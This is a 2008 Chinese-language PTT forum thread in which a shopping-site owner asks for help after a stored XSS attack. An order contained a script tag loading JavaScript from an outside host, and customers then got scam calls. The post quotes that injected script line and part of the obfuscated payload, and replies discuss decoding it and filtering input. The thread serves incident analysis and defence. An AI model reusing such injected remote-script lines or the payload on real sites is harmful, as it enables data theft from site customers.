[請益] 我的客戶被詐騙集團打電話了..

看板PHP作者時間17年前 (2008/06/06 20:03), 編輯推噓8(8024)
留言32則, 6人參與, 最新討論串1/4 (看更多)
首先可能要先說明一下,我有個購物網站.. 前幾天有一筆訂單的內文出現了<script src="" rel="nofollow">http://i69s.cn/c.js"></script> 當下不以為意,就把那一筆訂單刪掉了.. 不過這兩天有客戶(購物車賣東西嘛,當然會有客戶)說被詐騙集團打電話去, 按照慣例對方詳述了客戶的購物內容之類的細節, 客戶就直接通知我們... 目前還在研究發生了什麼事情,不過我主要是想問以下的Javascript語法, 是用何種方式編碼的?我看不出原文耶... 我只能稍微看到他有修改status bar的訊息就是了.. /* 以下是不完整的Javascript原始碼,原版可以從我文首提供的網址下載 */ $="var çÚìþþçççîëìÖÖøddÞÞÑÑ£éÛÚy y y y y ðÏëîÏÏÏ ÿ××£éÉ;É=ç+ÛÍÀall)íÂachÇËonß¾eÅíddÇLiÈeÐËß,fažs¼ Tiºout(£ØÈatus='完毕'£ÃÔØoÐr¸=à(Ær¼urn true}éj=0;while(ïÄ[j]Æ Û=ãÍÛ.Ù'Èep=otherÄ!=-1Æã='#';};j++;}à o(ÆwâÙ£[admæÁ]£Ôvâsub Èr(wÃ0)äÀg¼ElemôById˺nu-tabÄ.æÐHTMLÚ菜单<ÕoáèÌqÚ<¿áóê type=·text/javaê·Ò·../js/t½sp¸t /* 該JS檔結束 */ -- ※ 發信站: 批踢踢實業坊(ptt.cc) ◆ From: 218.162.164.176

06/06 20:04, , 1F
補一下,因為我找不到Javascript有沒有板..所以先貼PHP板
06/06 20:04, 1F

06/06 20:21, , 2F
javascript可以到ajax板問
06/06 20:21, 2F
※ 編輯: reflynet 來自: 218.162.164.176 (06/06 20:24)

06/06 20:24, , 3F
謝謝樓上h大
06/06 20:24, 3F

06/06 20:49, , 4F
你先把所有的input做 html tag過濾吧.
06/06 20:49, 4F

06/06 20:52, , 5F
樓上A大:其實那時候發現<script>標籤可以插入的時候,我就
06/06 20:52, 5F

06/06 20:52, , 6F
馬上開始過濾啦~
06/06 20:52, 6F

06/06 21:04, , 7F
唔...結果我自己轉碼轉出來了..
06/06 21:04, 7F

06/06 21:09, , 9F
看樣子像是很典型的XSS attack....
06/06 21:09, 9F

06/06 21:09, , 10F
我自己在decode的時候差點中標 = =
06/06 21:09, 10F

06/06 21:24, , 11F
似乎其目的在於把你客戶的資料偷出來?y
06/06 21:24, 11F

06/06 21:36, , 12F
我現在還在研究他到底是要偷管理者的cookies還是怎樣
06/06 21:36, 12F

06/06 21:37, , 13F
因為我現在雖然解碼了,但是仍然讀不懂他的程式,應該可以
06/06 21:37, 13F

06/06 21:37, , 14F
判定為XSS...
06/06 21:37, 14F

06/06 21:41, , 15F
問題是我怎麼看也沒有看到可以把資料往外傳的地方啊..
06/06 21:41, 15F

06/06 21:41, , 16F
果然是我功力不足..
06/06 21:41, 16F

06/06 21:43, , 17F

06/06 22:25, , 18F

06/06 22:54, , 19F
感謝y大..順便請問一下,為何你可以抓到後半段的資料@@?
06/06 22:54, 19F

06/06 22:55, , 20F
我終於trace完其他的部分,這個程式到最後(main.js)還會毀
06/06 22:55, 20F

06/06 22:55, , 21F
屍滅跡,還進SQL刪資料咧~
06/06 22:55, 21F

06/06 22:56, , 22F
後半段的東西是script = =,他的html沒被entitles... = =
06/06 22:56, 22F

06/06 22:57, , 23F
我在trace的時候都覺得自己中標了 = =
06/06 22:57, 23F

06/06 22:59, , 24F
其實簡單的加個<textarea>再印出來就現形了= =
06/06 22:59, 24F

06/06 23:01, , 25F
囧 對後.. 可以用textarea..我在那邊用document.write
06/06 23:01, 25F

06/06 23:01, , 26F
囧,我發現我用document.write來解很恐怖...
06/06 23:01, 26F

06/06 23:01, , 27F
難怪看不到..= =
06/06 23:01, 27F

06/06 23:01, , 28F
幸虧他script被document.write之後不會被執行到 = =
06/06 23:01, 28F

06/06 23:02, , 29F
y大..(握手) 我們都用document.write XD
06/06 23:02, 29F

06/06 23:03, , 30F
再+1 (握) 還好它不會執行...
06/06 23:03, 30F
※ 編輯: reflynet 來自: 218.162.164.176 (06/07 00:25)

06/07 02:54, , 31F
我想問一下...這個要怎麼還原啊?找了半天沒看到對應
06/07 02:54, 31F

06/07 02:54, , 32F
的方法???
06/07 02:54, 32F
文章代碼(AID): #18IIUdT6 (PHP)
文章代碼(AID): #18IIUdT6 (PHP)